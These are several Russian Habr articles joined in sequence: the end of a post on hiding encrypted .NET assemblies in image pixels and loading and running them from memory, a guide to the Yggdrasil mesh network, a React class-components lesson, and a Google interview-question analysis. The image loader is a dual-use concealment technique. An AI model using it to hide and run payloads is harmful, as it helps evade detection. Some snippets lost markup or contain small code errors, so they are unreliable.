FieldInfo fi = bmp.GetType().GetField("nativeImage", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);
object d = fi.GetValue(bmp);
IntPtr nativeImage = (IntPtr)d;
Guid clsid = FindEncoder(ImageFormat.Bmp.Guid).Clsid;
GdipSaveImageToFile(new HandleRef(bmp, nativeImage), outImagefile, ref clsid, new HandleRef(null, IntPtr.Zero));
```
Т.е. неважно какой формат на входе, при сохранении я указываю считать что работаем с BMP, при этом конечное изображение никак не оптимизируется, что сразу видно по итоговому весу изображения. Зато можно быть уверенным что прочитаешь пиксели которые записал.
Разобравшись с хранением, переходим к слиянию. Для 32-хбитных изображений каждый пиксель кодируется четырмя байтами (argb), для 24-хбитных тремя (rgb), первоначально алгоритм ориентировался на запись в 4 байта с использованием альфа канала, что позволяло получать изображения на глаз почти неотличимые от оригинала, но по итогу придя к bmp, от альфа канала отказался.
Итак, каждый байт из нашего массива сопоставляем с одним пикселем, при этом, байт разбиваем на три числа, количество единиц, десяток и сотен, т.е. для байта 158 получим три числа, (1, 5, 8), после чего заменяем единицы в rgb компонентах на получившиеся числа, например пиксель (7,155,72) превратится в (1, 155, 78).
```
pix = MixByteAndPixel(pix, ByteDecomposition(data[index], false));
((byte*)bmd.Scan0)[offset] = pix.blue;
((byte*)bmd.Scan0)[offset + 1] = pix.green;
((byte*)bmd.Scan0)[offset + 2] = pix.red;
```
Алгоритм слияния получается следующий, в начало массива с данными добавляем 4 байта, в которых записана длина массива. Проходим по изображению и сливаем байты с пикселями, если в изображении остаются свободные пиксели, сливаем со случайными значениями (иначе на конечном изображении будет четко прослеживаться граница где закончились данные, как на CD/DVD болванках видна пустая область). Сохраняем полученное изображение.
Оригинал (слева) и картинка со сборкой внутри (справа):
#### Запуск
Для старта нам понадобится Booster.exe и итоговые изображения. Достаточно поместить Booster.exe в каталог с картинками и запустить его. Или запустить с параметром img=путь\_к\_картинкам.
При этом для картинок применяются все операции упаковки в обратном порядке:
1. Считываем значения пикселей, у каждого пикселя из rgb компонент берем единицы, и восстанавливаем исходный байт.
2. После первых четырех байт получаем размер оставшихся данных.
3. Считываем исходный массив с запакованной и зашифрованной сборкой. Остаток изображения игнорируем.
4. Расшифровываем исходный массив.
5. Разархивируем массив и получаем непосредственно сборку в raw виде.
6. Загружаем сборку
7. При удачной загрузке регистрируем сборку в AssemblyResolver'е, на случай если сборки используют друг друга
```
internal static AssembliesSet LoadAssemblies(string imagesFolder)
{
AssembliesSet set = new AssembliesSet();
foreach (string file in Directory.GetFiles(imagesFolder, "*.bmp"))
{
byte[] data = null;
using (Image img = Image.FromFile(file))
{
data = SteganographyProvider.Extraction(img);
}
data = AssemblyPacker.UnPack(data);
set.TryAppendAssembly(data);
}
return set;
}
//AssembliesSet
internal void TryAppendAssembly(byte[] rawAssembly)
{
Assembly asm;
try
{
asm = Assembly.Load(rawAssembly);
AssembliesResolver.Register(asm);
_assemblies.Add(asm);
}
catch { }
}
```
И заключительная часть, ищем в загруженных сборах по доступным типам метод Main, и вызываем его:
```
internal void CallMain()
{
foreach (var type in CollectExportedTypes())
{
MethodInfo main = type.GetMethod("Main");
if (main != null)
{
ParameterInfo[] paramsInfo = main.GetParameters();
object[] parameters = new object[paramsInfo.Length];
for (int i = 0; i < paramsInfo.Length; i++)
{
parameters[i] = GetDefaultValue(paramsInfo[i].ParameterType);
}
main.Invoke(null, parameters);
}
}
}
```
#### Тестируем
Сделаем проект с тремя сборками, A, B и С, при этом A и B будут использовать сборку C. Вот так, например:
*/\*картинка в комментарии ниже\*/*
Пакуем в картинки, и запускаем:
*/\*картинка в комментарии ниже\*/*
Как видно по выводу, все сборки загрузились и код исполнился, в том числе работает зависимость сборок друг от друга (вызов метода Run класса CommonClass).
#### Заключение
Изначально очень хотелось использовать png формат, почему то был уверен что он использует алгоритмы сжатия без потерь, однако оказалось потери есть, незначительные для изображения, но критичные для стеганографии. Если кто-то знает как можно сохранить Bitmap в png без потерь, прошу отписать.
Надеюсь было интересно. [Скачать и поиграться можно тут](https://github.com/ogoun/Booster).
P.S. Что-то странное твориться с картинками на Хабре, стабильно теряет ссылки.
**UPD**. Спасибо хабраюзеру [mayorovp](https://habrahabr.ru/users/mayorovp/) за комментарий насчет PNG, действительно можно стандартными средствами сохранять без потерь. Теперь алгоритм учитывает наличие альфа канала, и при его наличии раскладывает каждый байт на 4 составляющих для снижения искажений на выходе. На примере байта равного 158, разложение будет следующим:
На первом шаге разделим сотни, десятки и единицы, получаем вектор (a1, a2, a3, a4) со значениями (1, 5, 8, 0), затем находим a4 в зависимости от условий:
```
if (a2 >= 5 && a3 >= 5)
{
a4 = 2; a2 -= 5; a3 -= 5;
}
else if (a2 >= 5)
{
a4 = 3; a2 -= 5;
}
else if (a3 >= 5)
{
a4 = 4; a3 -= 5;
}
else
a4 = 5;
```
Конечный вектор будет таким (1, 0, 3, 2).
Таким образом, все значения единиц rgba компонент будут в пределах 0-5, что по идее должно сгладить картинку. Можно придумать и более оптимальную кодировку. | https://habr.com/ru/post/234877/ | null | ru | null |
# CJDNS мертв, да здравствует Yggdrasil
Что такое Yggdrasil?
> Yggdrasil — это распределённая Mesh сеть, которая работет в Overlay режиме, позволяя сделать интернет поверх интернета.
>
>
>
> Причем, сеть может одновременно работать в двух режимах — через интернет и без интернета, соединяясь напрямую с физически соседними пирами *(через Ethernet, Wi-Fi или Bluetooth) работая на 3-ем уровне модели OSI*.
>
>
>
> На Apple устройствах использован протокол AWDL.
Последние новости о сети cjdns датируются 2017 годом, может показатся, что сеть умерла и разработка остановлена (на самом деле — да), однако появился самозванец — Yggdrasil, который практически полностью копирует cjdns однако делает это намного лучше.
В посте рассмотрим:
* Что такое Yggdrasil
* Зачем это нужно
* Откуда он взялся
* Можно ли ему доверять
* В чем отличее от cjdns
* Почему его стоит установить прямо сейчас
* Поддержка iOS (Да!)
* Что в планах
* Как настроить
Что такое Yggdrasil
-------------------
Yggdrasil — это оверлейная сеть, которая призвана воплотить концепцию нулевой настройки сетей — вам не нужно знать маршруты, вам не нужно ничего настраивать — всё должно работать из коробки и сразу и еще это должно масштабироваться.
Зачем это?
----------
Это тянет на отдельную статью, рассмотри кратко:
1. Устранение текущих проблем BGP
2. Настоящая zero-conf
3. Еще один метод защиты от блокировок (будущих) с нарушением сетевой связанности
Откуда он взялся
----------------
Yggdrasil — это продолжение развития cjdns, только с чистого листа, разработчики участвующие в проекте cjdns в какой-то момент решили отделится от проекта cjdns и переписать всё с нуля.
Это произошло из-за разногласий с основателем cjdns — по его задумке в сети должны были появиться супер-узлы, которые должны содержать полню карту сети, по их мнению — этот путь неверный и они хотели сохранить сеть одноранговой *(когда каждый узел по функциям одинаков с остальными)*. Помимо этого — оригинальная сеть медленно развивалась из-за выбранных методов разработки и языков и она так и не смогла (за 5 лет) добратся до поддержки мобильных устройств, что в современном мире — не простительно.
### Активность разработки
**CJDNS**
**Yggdrasil**
Arceliar — второй разработчик по количеству коммитов как раз покинул cjdns и основал совместно с neilalexander — yggdrasil.
Можно ли ему доверять
---------------------
Да, разработчики — те же.
В чем отличее от cjdns
----------------------
* Сеть одноранговая
* Есть поддержка большого количества устройств (даже iOS!)
* Есть официальный репозиторий публичных узлов
* Подключаться к узлу можно без приватного ключа (а можно и с ним конечно) — публичные ноды используют подключение без
* Используемый язык — Go
* Есть готовые пакеты под большинство систем
* Более тонкая и удобная настройки
* Более быстрая разработка
Почему его стоит установить прямо сейчас
----------------------------------------
Прямо сейчас в сети работает 280+ узлов, и они прибывают примерно по 10 узлов в неделю, сеть как и CJDNS позволяет подключаться как через обычный интернет yggdrasil --> интернет --> yggdrasil.
Так и в «нативном» режиме, который прекрасно работает — устанавливаем yggdrasil на домашний сервер (например raspberry) и делаем линк yggdrasil --> интернет --> публичный узел yggdrasil.
После этого, внутри вашей локальной сети, любой пользователь с клиентом (ПК или даже iPhone) сам обнаружит ваш узел на raspberry и подключится.
В связи с будущими планами *развития* рунета, есть большой шанс нарушения международных связей (всех или почти всех) однако интернет штука сложная, всегда найдется где-то выход в международный сегмент. Если уже сейчас установить себе yggdrasil то в рамках сети у кого-то может остатся доступ к публичному сегменту, вот через него трафик и будет маршрутизирован.
**Отдельно хочу отметить — сеть не позволяет выйти в обычный интернет — только свои ресурсы — это не TOR, таким образом риски «быть прокси» — пропадают. Всё что передается в yggdrasil остается там же.**
Однако, если вы планируете использовать сеть, как резервный источник доступа на случий *непредвиденных* ситуаций — это вполне можно сделать, вы сможете подключится к вашему MTProto Proxy или VPN через yggdrasil.
Схема будет следующая VPN --> Yggdrasil (неизвестные вам узлы) --> ваш VPN --> Интернет
Поддержка iOS (Да!)
-------------------
Сеть правда поддерживает работу на iOS причем работает стабильно, имеет авто-подключение, на iOS как и 1.1.1.1 работает через установку VPN адаптера (ссылки будут ниже)
Что в планах
------------
*Планы взяты на основе Roadmap разработчиков и Issue с github — там ведётся планирование*
1. Поддержка Android
2. Поддержка авто-подключения между iOS устройствами даже если они не в одной Wi-Fi сети (очень круто)
3. Работа через WebSocket как способ скрытия работы сети
Как настроить
-------------
На официальном сайте предоставлены все инструкции [yggdrasil-network.github.io/installation.html](https://yggdrasil-network.github.io/installation.html)
### Debian/Ubuntu/Raspberry
Добавляем ключи репозитория
```
gpg --fetch-keys https://neilalexander.s3.eu-west-2.amazonaws.com/deb/key.txt
gpg --export 569130E8CA20FBC4CB3FDE555898470A764B32C9 | sudo apt-key add -
```
Добавляем репозиторий
```
echo 'deb http://neilalexander.s3.eu-west-2.amazonaws.com/deb/ debian yggdrasil' | sudo tee /etc/apt/sources.list.d/yggdrasil.list
sudo apt-get update
```
Устанавливаем
```
sudo apt-get install yggdrasil
```
Конфигурационный файл — /etc/yggdrasil.conf о нем мы поговорим чуть позже.
P.S.: Можно скачать только пакет или собрать из исходных кодов — инструкция тут [yggdrasil-network.github.io/installation.html](https://yggdrasil-network.github.io/installation.html)
### OS X
Скачиваем готовый пакет
```
wget https://700-115685026-gh.circle-artifacts.com/0/yggdrasil-0.3.5-macos-amd64.pkg
```
Устанавливаем
```
sudo installer -pkg yggdrasil-0.3.5-macos-amd64.pkg -target /
```
Либо устанавливаем из исходных кодов [yggdrasil-network.github.io/installation-macos-other.html](https://yggdrasil-network.github.io/installation-macos-other.html)
Конфигурационный файл `- /etc/yggdrasil.conf`.
### iOS
Через iPhone/iPad нужно открыть ссылку и согласится на тестирование
Скачиваем TestFlight [itunes.apple.com/us/app/testflight/id899247664?mt=8](https://itunes.apple.com/us/app/testflight/id899247664?mt=8)
Устанавливаем Yggdrasil [testflight.apple.com/join/jZNsIkRr](https://testflight.apple.com/join/jZNsIkRr)
Для корректной работы нужно согласится на установку VPN адаптера
Подключаемся
------------
Установили приложение?
Переходим [в публичный каталог пиров](https://github.com/yggdrasil-network/public-peers) и выбираем ближайшего к себе с точки зрения географии пиров (а лучше парочку).
Теперь пора добавить «пиров», идем в `/etc/yggdrasil.conf` (в случае iOS на вкладку Peers)
и добавляем
На iOS это можно сделать в интерфейсе приложения.
Если в странах СНГ будут желающие сделать публичных пиров — пишите в комментариях — добавим в пост и желательно добавляйте их в github.
Что посмотреть в сети?
----------------------
[Сервисы в сети описаны тут.](https://yggdrasil-network.github.io/services.html)
Первое куда стоит заглянуть — на карту сети [http://[21f:dd73:7cdb:773b:a924:7ec0:800b:221e]/](http://%5B21f:dd73:7cdb:773b:a924:7ec0:800b:221e%5D/)
Больше почитать по сеть можно на сайте сети [yggdrasil-network.github.io](https://yggdrasil-network.github.io) и в [блоге](https://yggdrasil-network.github.io/blog.html).
P.S.: Кстати, совсем недавно в [ZeroNet](https://zeronet.io) была добавлена поддержка cjdns и yggdrasil, [русское сообщество в Zeronet](http://127.0.0.1:43110/1Apr5ba6u9Nz6eFASmFrefGvyBKkM76QgE/). | https://habr.com/ru/post/443934/ | null | ru | null |
# Учебный курс по React, часть 13: компоненты, основанные на классах
Сегодня мы публикуем перевод очередного занятия учебного курса по React. Оно посвящено компонентам, основанным на классах. Такие компоненты создают с использованием ключевого слова class.
[](https://habr.com/ru/company/ruvds/blog/437990/)
→ [Часть 1: обзор курса, причины популярности React, ReactDOM и JSX](https://habr.com/post/432636/)
→ [Часть 2: функциональные компоненты](https://habr.com/post/433400/)
→ [Часть 3: файлы компонентов, структура проектов](https://habr.com/post/433404/)
→ [Часть 4: родительские и дочерние компоненты](https://habr.com/company/ruvds/blog/434118/)
→ [Часть 5: начало работы над TODO-приложением, основы стилизации](https://habr.com/company/ruvds/blog/434120/)
→ [Часть 6: о некоторых особенностях курса, JSX и JavaScript](https://habr.com/company/ruvds/blog/435466/)
→ [Часть 7: встроенные стили](https://habr.com/company/ruvds/blog/435468/)
→ [Часть 8: продолжение работы над TODO-приложением, знакомство со свойствами компонентов](https://habr.com/company/ruvds/blog/435470/)
→ [Часть 9: свойства компонентов](https://habr.com/company/ruvds/blog/436032/)
→ [Часть 10: практикум по работе со свойствами компонентов и стилизации](https://habr.com/company/ruvds/blog/436890/)
→ [Часть 11: динамическое формирование разметки и метод массивов map](https://habr.com/company/ruvds/blog/436892/)
→ [Часть 12: практикум, третий этап работы над TODO-приложением](https://habr.com/company/ruvds/blog/437988/)
→ [Часть 13: компоненты, основанные на классах](https://habr.com/ru/company/ruvds/blog/437990/)
→ [Часть 14: практикум по компонентам, основанным на классах, состояние компонентов](https://habr.com/ru/company/ruvds/blog/438986/)
→ [Часть 15: практикумы по работе с состоянием компонентов](https://habr.com/ru/company/ruvds/blog/438988/)
→ [Часть 16: четвёртый этап работы над TODO-приложением, обработка событий](https://habr.com/ru/company/ruvds/blog/439982/)
→ [Часть 17: пятый этап работы над TODO-приложением, модификация состояния компонентов](https://habr.com/ru/company/ruvds/blog/439984/)
→ [Часть 18: шестой этап работы над TODO-приложением](https://habr.com/ru/company/ruvds/blog/440662/)
→ [Часть 19: методы жизненного цикла компонентов](https://habr.com/ru/company/ruvds/blog/441578/)
→ [Часть 20: первое занятие по условному рендерингу](https://habr.com/ru/company/ruvds/blog/441580/)
→ [Часть 21: второе занятие и практикум по условному рендерингу](https://habr.com/ru/company/ruvds/blog/443210/)
→ [Часть 22: седьмой этап работы над TODO-приложением, загрузка данных из внешних источников](https://habr.com/ru/company/ruvds/blog/443212/)
→ [Часть 23: первое занятие по работе с формами](https://habr.com/ru/company/ruvds/blog/443214/)
→ [Часть 24: второе занятие по работе с формами](https://habr.com/ru/company/ruvds/blog/444356/)
→ [Часть 25: практикум по работе с формами](https://habr.com/ru/company/ruvds/blog/446208/)
→ [Часть 26: архитектура приложений, паттерн Container/Component](https://habr.com/ru/company/ruvds/blog/446206/)
→ [Часть 27: курсовой проект](https://habr.com/ru/company/ruvds/blog/447136/)
Занятие 24. Компоненты, основанные на классах
---------------------------------------------
→ [Оригинал](https://scrimba.com/p/p7P5Hd/c3bNDCz)
Если вы, до того, как начали осваивать этот учебный курс, изучали React по материалам каких-то других курсов, у вас может возникнуть вопрос по поводу того, что здесь мы пользуемся функциональными компонентами. Дело в том, что во многих других курсах эта тема либо не освещается, либо о функциональных компонентах говорят как о чём-то таком, в чём нет особой необходимости. Некоторые авторы идут ещё дальше и говорят о том, что функциональные компоненты лучше не использовать, отдавая предпочтение компонентам, основанным на классах. Это, по их мнению, избавляет программиста от ненужной нагрузки. Я же полагаю, что любому, кто изучает React, полезно будет увидеть полную картину и узнать о популярных в наши дни подходах по работе с компонентами. В частности, сейчас актуально направление, в соответствии с которым везде, где это возможно, используют функциональные компоненты, а компоненты, основанные на классах — лишь там, где они действительно необходимы. При этом надо отметить, что всё это — лишь рекомендации. Каждый разработчик сам решает как именно он будет конструировать свои приложения.
Когда я веду курсы по React, я предпочитаю начинать с функциональных компонентов, так как функции — понятные конструкции. Одного взгляда на функциональный компонент достаточно для того, чтобы понять, какие именно действия он выполняет. Скажем, вот код функционального компонента, который представляет собой обычную функцию, возвращающую элемент , содержащий элемент с неким текстом.
```
function App() {
return (
Code goes here
==============
)
}
```
Но, по мере того, как мы углубляемся в изучение React, знакомимся с его возможностями, оказывается, что функциональные компоненты не способны предложить нам всё то, что может понадобиться нам от React-компонентов. Поэтому сегодня мы поговорим о компонентах, основанных на классах. А именно, начнём с создания компонента, основанного на классе, который выполняет те же действия, что и вышеприведённый функциональный компонент. А на следующих занятиях мы коснёмся тех дополнительных возможностей, которые дают нам компоненты, основанные на классах. В частности, речь идёт о возможности работы с состоянием компонентов и с методами их жизненного цикла.
Преобразуем функциональный компонент в компонент, основанный на классе. Если вы не особенно хорошо знакомы с ключевым словом `class`, появившемся в ES6, и с возможностями, которые оно открывает перед разработчиками, рекомендуется уделить некоторое время на то, чтобы познакомиться с [классами](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Classes) поближе.
Описание компонента, основанного на классах, начинается с ключевого слова `class`. Затем идёт имя компонента, составляемое по тем же правилам, что и имена функциональных компонентов. При этом после конструкции наподобие `class App` будет идти не нечто вроде фигурной скобки, а конструкция вида `extends React.Component`. После неё ставится пара фигурных скобок, в которых будет описано тело класса.
Классы в JavaScript представляют собой надстройку над традиционной моделью прототипного наследования. Сущность конструкции `class App extends React.Component` сводится к тому, что мы объявляем новый класс и указываем на то, что его прототипом должен быть `React.Component`. Наличие у нашего компонента этого прототипа позволяет пользоваться в этом компоненте всеми теми полезными возможностями, которые имеются в `React.Component`.
Итак, на данном этапе работы над компонентом, основанном на классах, его код выглядит так:
```
class App extends React.Component {
}
```
У компонента, основанного на классах, должен быть, по меньшей мере, один метод. Это — метод `render()`. Данный метод должен возвращать то же самое, что мы обычно возвращаем из функциональных компонентов. Вот как выглядит полный код компонента, основанного на классах, реализующего те же возможности, что и вышеприведённый функциональный компонент.
```
class App extends React.Component {
render() {
return (
Code goes here
==============
)
}
}
```
Работают с компонентами, основанными на классах так же, как с функциональными компонентами. То есть, в нашем случае достаточно заменить код функционального компонента на новый код и приложение будет работать так же, как и прежде.
Поговорим о методе `render()`. Если, перед формированием элементов, возвращаемых этим методом, нужно выполнить некие вычисления, их выполняют именно в этом методе, перед командой `return`. То есть, если у вас есть некий код, определяющий порядок формирования визуального представления компонента, этот код нужно поместить в метод `render`. Например, тут можно выполнить настройку стилей в том случае, если вы пользуетесь встроенными стилями. Здесь же будет и код, реализующий механизм условного рендеринга, и другие подобные конструкции.
Если вы знакомы с классами, вы можете создать собственный метод и разместить код, готовящий компонент к визуализации, в нём, после чего вызвать этот метод в методе `render`. Выглядит это так:
```
class App extends React.Component {
yourMethodHere() {
}
render() {
const style = this.yourMethodHere()
return (
Code goes here
==============
)
}
}
```
А именно, тут мы исходим из предположения о том, что в методе `yourMethodHere()` производится формирование стилей, а то, что он возвращает, записывается в константу `style`, объявленную в методе `render()`. Обратите внимание на то, что для обращения к нашему собственному методу используется ключевое слово `this`. Позже мы поговорим об особенностях этого ключевого слова, но пока остановимся на представленной здесь конструкции.
Теперь поговорим о том, как в компонентах, основанных на классах, работать со свойствами, передаваемыми им при создании их экземпляров.
При использовании функциональных компонентов мы объявляли соответствующую функцию с параметром `props`, представляющим собой объект, в который попадало то, что передавалось компоненту при создании его экземпляра. Выглядит это так:
```
function App(props) {
return (
{props.whatever}
================
)
}
```
При работе с компонентом, основанном на классе, то же самое выглядит так:
```
class App extends React.Component {
render() {
return (
{this.props.whatever}
=====================
)
}
}
```
Итоги
-----
Как уже было сказано, компоненты, основанные на классах, дают разработчику множество возможностей. Об этих возможностях мы ещё поговорим. А сейчас можете поэкспериментировать с тем, что вы узнали сегодня и подготовиться к практическому занятию по компонентам, которые основаны на классах.
**Уважаемые читатели!** Если вы профессионально используете React — просим рассказать о том, в каких ситуациях вы используете функциональные компоненты, а в каких — компоненты, основанные на классах.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/437990/ | null | ru | null |
# Разбор задачи с собеседования в Google: синонимичные запросы
Это новая статья из [разбора задач с собеседований в Google](https://medium.com/@alexgolec/introducing-google-interview-questions-deconstructed-a012e41ea631). Когда я там работал, то предлагал кандидатам такие задачи. Потом произошла утечка, и их запретили. Но у медали есть обратная сторона: теперь я могу свободно объяснить решение.
Для начала отличные новости: я ушёл из Google! Рад сообщить, что теперь работаю техническим руководителем Reddit в Нью-Йорке! Но эта серия статей всё равно получит продолжение.
*Дисклеймер: хотя собеседование кандидатов является одной из моих профессиональных обязанностей, в этом блоге я делюсь личными наблюдениями, историями и личным мнением. Пожалуйста, не считайте это официальным заявлением Google, Alphabet, Reddit, любого другого лица или организации.*
Вопрос
======
После [двух последних](https://hackernoon.com/google-interview-questions-deconstructed-the-knights-dialer-f780d516f029) [статей](https://medium.com/@alexgolec/google-interview-questions-deconstructed-the-knights-dialer-impossibly-fast-edition-c288da1685b8) о ходе конём в наборе телефонного номера мне пришли критические замечания, что это не реалистичная проблема. Как ни полезно изучить навыки мышления кандидата, но вынужден признать: задача действительно немного нереалистичная. Хотя у меня есть некоторые мысли по поводу корреляции между вопросами на собеседованиях и реальностью, но я пока оставлю их при себе. Будьте уверены, я везде читаю комментарии и мне есть что ответить, только не сейчас.
Но когда задачу про ход конём запретили несколько лет назад, я принял критику близко к сердцу и попытался заменить её вопросом, который немного больше относится к сфере деятельности Google. А что может актуальнее для Google, чем механика поисковых запросов? Так я нашёл этот вопрос и долгое время его использовал, прежде чем он тоже попал в паблик и был запрещён. Как и прежде, я сформулирую вопрос, погружусь в его объяснение, а затем расскажу, как использовал его на собеседованиях и почему он мне нравится.
Итак, вопрос.
Представьте, что вы управляете популярной поисковой системой и в логах видите два запроса: скажем, «рейтинги одобрения Обамы» и «уровень популярности Обамы» (если я правильно помню, это реальные примеры из базы вопросов, хотя сейчас они немного устарели...). Мы видим разные запросы, но все согласятся: пользователи ищут по сути одну и ту же информацию, так что запросы следует считать эквивалентными при подсчёте количества запросов, показа результатов и т. д. **Как определить, что два запроса являются синонимами?**
Давайте формализуем задачу. Предположим, есть два набора пар строк: пары синонимов и пары запросы.
Если говорить конкретно, вот пример входных данных для иллюстрации:
```
SYNONYMS = [
('rate', 'ratings'),
('approval', 'popularity'),
]
QUERIES = [
('obama approval rate', 'obama popularity ratings'),
('obama approval rates', 'obama popularity ratings'),
('obama approval rate', 'popularity ratings obama')
]
```
Нужно выдать список логических значений: являются ли синонимичными запросы в каждой паре.
Всё новые вопросы...
====================
На первый взгляд, это простая задача. Но чем дольше думаете, тем сложнее она становится. Может ли у слова быть несколько синонимов? Имеет ли значение порядок слов? Являются ли синонимичные отношения транзитивными, то есть если А синонимично B, а B синономично С, то является ли А синонимом С? Могут ли синонимы охватывать несколько слов, как «США» является синонимом для фраз «Соединённые Штаты Америки» или «Соединённые Штаты»?
Такая неоднозначность сразу даёт возможность проявить себя хорошему кандидату. Первое, что он делает — выискивает такие двусмысленности и пытается их разрешить. Все делают это по-разному: одни подходят к доске и пытаются вручную решить конкретные случаи, а другие смотрят на вопрос и сразу видят пробелы. В любом случае, выявление этих проблем на раннем этапе имеет решающее значение.
Фаза «понимания проблемы» имеет большое значение. Я люблю называть программную инженерию фрактальной дисциплиной. Как у фракталов, приближение раскрывает дополнительную сложность. Вы думаете, что понимаете проблему, потом смотрите поближе — и видите, что упустили какую-то тонкость или деталь реализации, которую можно улучшить. Или другой подход к проблеме.
*Множество Мандельброта*
**Калибр инженера во многом определяется тем, насколько глубоко он может понять проблему.** Преобразовать расплывчатую постановку задачи в подробный набор требований — первый шаг в этом процессе, и умышленная недосказанность позволяет оценить, насколько хорошо кандидат подходит к новым ситуациям.
*Оставим в стороне тривиальные вопросы, вроде «Имеют ли значение заглавные буквы?», которые не влияют на основной алгоритм. На эти вопросы я всегда даю самый простой ответ (в этом случае «Предположим, что все буквы уже предварительно обработаны и приведены к строчным»)*
Часть 1. (Не совсем) простой случай
===================================
Если кандидаты задают вопросы, я всегда начинаю с самого простого случая: у слова может быть несколько синонимов, порядок слов имеет значение, синонимы не транзитивны. Это даёт довольно ограниченную функциональность поисковой системе, но в ней достаточно тонкостей для интересного собеседования.
Высокоуровневый обзор выглядит следующим образом: разбейте запрос на слова (например, по пробелам) и сравните соответствующие пары для поиска идентичных слов и синонимов. Визуально это выглядит так:
В коде:
```
def synonym_queries(synonym_words, queries):
'''
synonym_words: iterable of pairs of strings representing synonymous words
queries: iterable of pairs of strings representing queries to be tested for
synonymous-ness
'''
output = []
for q1, q2 in queries:
q1, q2 = q1.split(), q2.split()
if len(q1) != len(q2):
output.append(False)
continue
result = True
for i in range(len(q1)):
w1, w2 = q1[i], q2[i]
if w1 == w2:
continue
elif words_are_synonyms(w1, w2):
continue
result = False
break
output.append(result)
return output
```
Легко, правда? Алгоритмически это довольно просто. Никакого динамического программирования, рекурсии, сложных структур и т. д. Простая манипуляция стандартной библиотекой и алгоритм, который работает за линейное время, верно?
Но здесь больше нюансов, чем кажется на первый взгляд. Безусловно, самым сложным компонентом является сравнение синонимов. Хотя компонент прост в понимании и описании, существует много способов ошибиться. Расскажу о наиболее распространённых ошибках.
Для ясности: никакие ошибки не дисквалифицируют кандидата; если что, я просто указываю на ошибку в реализации, он исправляет, и мы идём дальше. Однако собеседование — это, прежде всего, борьба со временем. Вы будете делать, замечать и исправлять ошибки, но это отнимает время, которое можно потратить на другое, например, на создание более оптимального решения. Практически все совершают ошибки, это нормально, но кандидаты, которые делают их меньше, показывают лучший результат просто потому, что тратят меньше времени исправления.
Вот почему мне нравится эта проблема. Если ход конём требует озарения в понимании алгоритма, а затем (надеюсь) простой реализации, то здесь решение — это множество шажков в правильном направлении. Каждый шаг представляет крошечное препятствие, через которое кандидат может либо изящно перепрыгнуть, либо споткнуться и подняться. Хорошие кандидаты благодаря опыту и интуиции избегают этих маленьких ловушек — и получают более подробное и правильное решение, в то время как более слабые тратят время и энергию на ошибки и обычно остаются с ошибочным кодом.
На каждом собеседовании я видел разное сочетание успехов и провалов, вот самые распространённые ошибки.
#### Случайные убийцы производительности
Во-первых, некоторые кандидаты реализовали обнаружение синонимов с помощью простого обхода списка синонимов:
```
...
elif (w1, w2) in synonym_words:
continue
...
```
На первый взгляд, это кажется разумным. Но при ближайшем рассмотрении идея оказывается очень, очень плохой. Для тех из вас, кто не знает Python, ключевое слово `in` — синтаксический сахар для метода *contains* и работает над всеми стандартными контейнерами Python. Это проблема, потому что `synonym_words` — список, который реализует ключевое слово in с помощью линейного поиска. Пользователи Python особенно чувствительны к этой ошибке, потому что язык скрывает типы, но пользователи C++ и Java тоже иногда делали похожие ошибки.
За всю карьеру я всего несколько раз писал код с линейным поиском, и каждый по списку длиной не более двух десятков элементов. И даже в этом случае писал длинный комментарий с объяснением, почему выбрал такой, казалось бы, неоптимальный подход. Подозреваю, что некоторые кандидаты использовали его просто потому что не знали, как работает со списками ключевое слово `in` в стандартной библиотеке Python. Это простая ошибка, не фатальная, но плохое знакомство с любимым языком — не очень хорошо.
На практике этой ошибки легко избежать. Во-первых, никогда не забывайте типы своих объектов, даже если используете нетипизированный язык, такой как Python! Во-вторых, помните, что при использовании ключевого слова *in* в списке запускается линейный поиск. Если нет гарантии, что этот список всегда останется очень маленьким, он убьёт производительность.
Чтобы кандидат опомнился, обычно достаточно напомнить ему, что входная структура является списком. Очень важно наблюдать, как кандидат реагирует на подсказку. Лучшие кандидаты сразу пытаются как-то предварительно обработать синонимы, что является хорошим началом. Однако этот подход не лишён своих подводных камней…
#### Используйте правильную структуру данных
Из приведённого выше кода сразу видно, что для реализации этого алгоритма в линейное время необходимо быстро находить синонимы. А когда мы говорим о быстром поиске, это всегда карта или массив хэшей.
Мне не важно, выберет кандидат карту или массив хэшей. Важно то, что он туда вложит (кстати, никогда не используйте dict/hashmap с переходом в `True` или `False`). Большинство кандидатов выбирают какой-то dict/hashmap. Самая распространённая ошибка — подсознательное предположение, что у каждого слова не больше одного синонима:
```
...
synonyms = {}
for w1, w2 in synonym_words:
synonyms[w1] = w2
...
elif synonyms[w1] == w2:
continue
```
Я не наказываю кандидатов за эту ошибку. Задача специально сформулирована так, чтобы не заострять внимание на том, что у слов может быть несколько синонимов, а некоторые кандидаты просто не сталкивались с такой ситуацией. Большинство быстро исправляет ошибку, когда я на неё указываю. Хорошие кандидаты замечают её на раннем этапе и обычно не тратят много времени.
Чуть более серьёзная проблема — неосознание, что отношения синонимов распространяются в обоих направлениях. Заметьте, что в приведённом выше коде это учитывается. Но встречаются реализации с ошибкой:
```
...
synonyms = defaultdict(set)
for w1, w2 in synonym_words:
synonyms[w1].append(w2)
synonyms[w2].append(w1)
...
elif w2 in synonyms.get(w1, tuple()):
continue
```
Зачем выполнять две вставки и использовать в два раза больше памяти?
```
...
synonyms = defaultdict(set)
for w1, w2 in synonym_words:
synonyms[w1].append(w2)
...
elif (w2 in synonyms.get(w1, tuple()) or
w1 in synonyms.get(w2, tuple())):
continue
```
Вывод: *всегда думайте, как оптимизировать код*! В ретроспективе перестановка функций поиска является очевидной оптимизацией, в ином случае можно сделать вывод, что кандидат не думал над вариантами оптимизации. Опять же, я рад дать подсказку, но лучше догадаться самому.
Сортировка?
===========
Некоторые умные кандидаты хотят отсортировать список синонимов, а затем использовать двоичный поиск. На самом деле у такого подхода есть важное преимущество: он не требует дополнительного пространства, кроме списка синонимов (при условии, что допускается изменение списка).
К сожалению, мешает сложность по времени: сортировка списка синонимов требует `Nlog(N)` времени, а затем ещё `log(N)` для поиска каждой пары синонимов, в то время как описанное решение предварительной обработки происходит в линейном, а затем постоянном времени. Кроме того, я категорически против того, чтобы заставлять кандидата реализовать сортировку и двоичный поиск на доске, потому что: 1) алгоритмы сортировки хорошо известны, поэтому, насколько я знаю, кандидат может выдать его не думая; 2) эти алгоритмы дьявольски сложно правильно реализовать, и часто даже лучшие кандидаты будут делать ошибки, которые ничего не говорят об их навыках программирования.
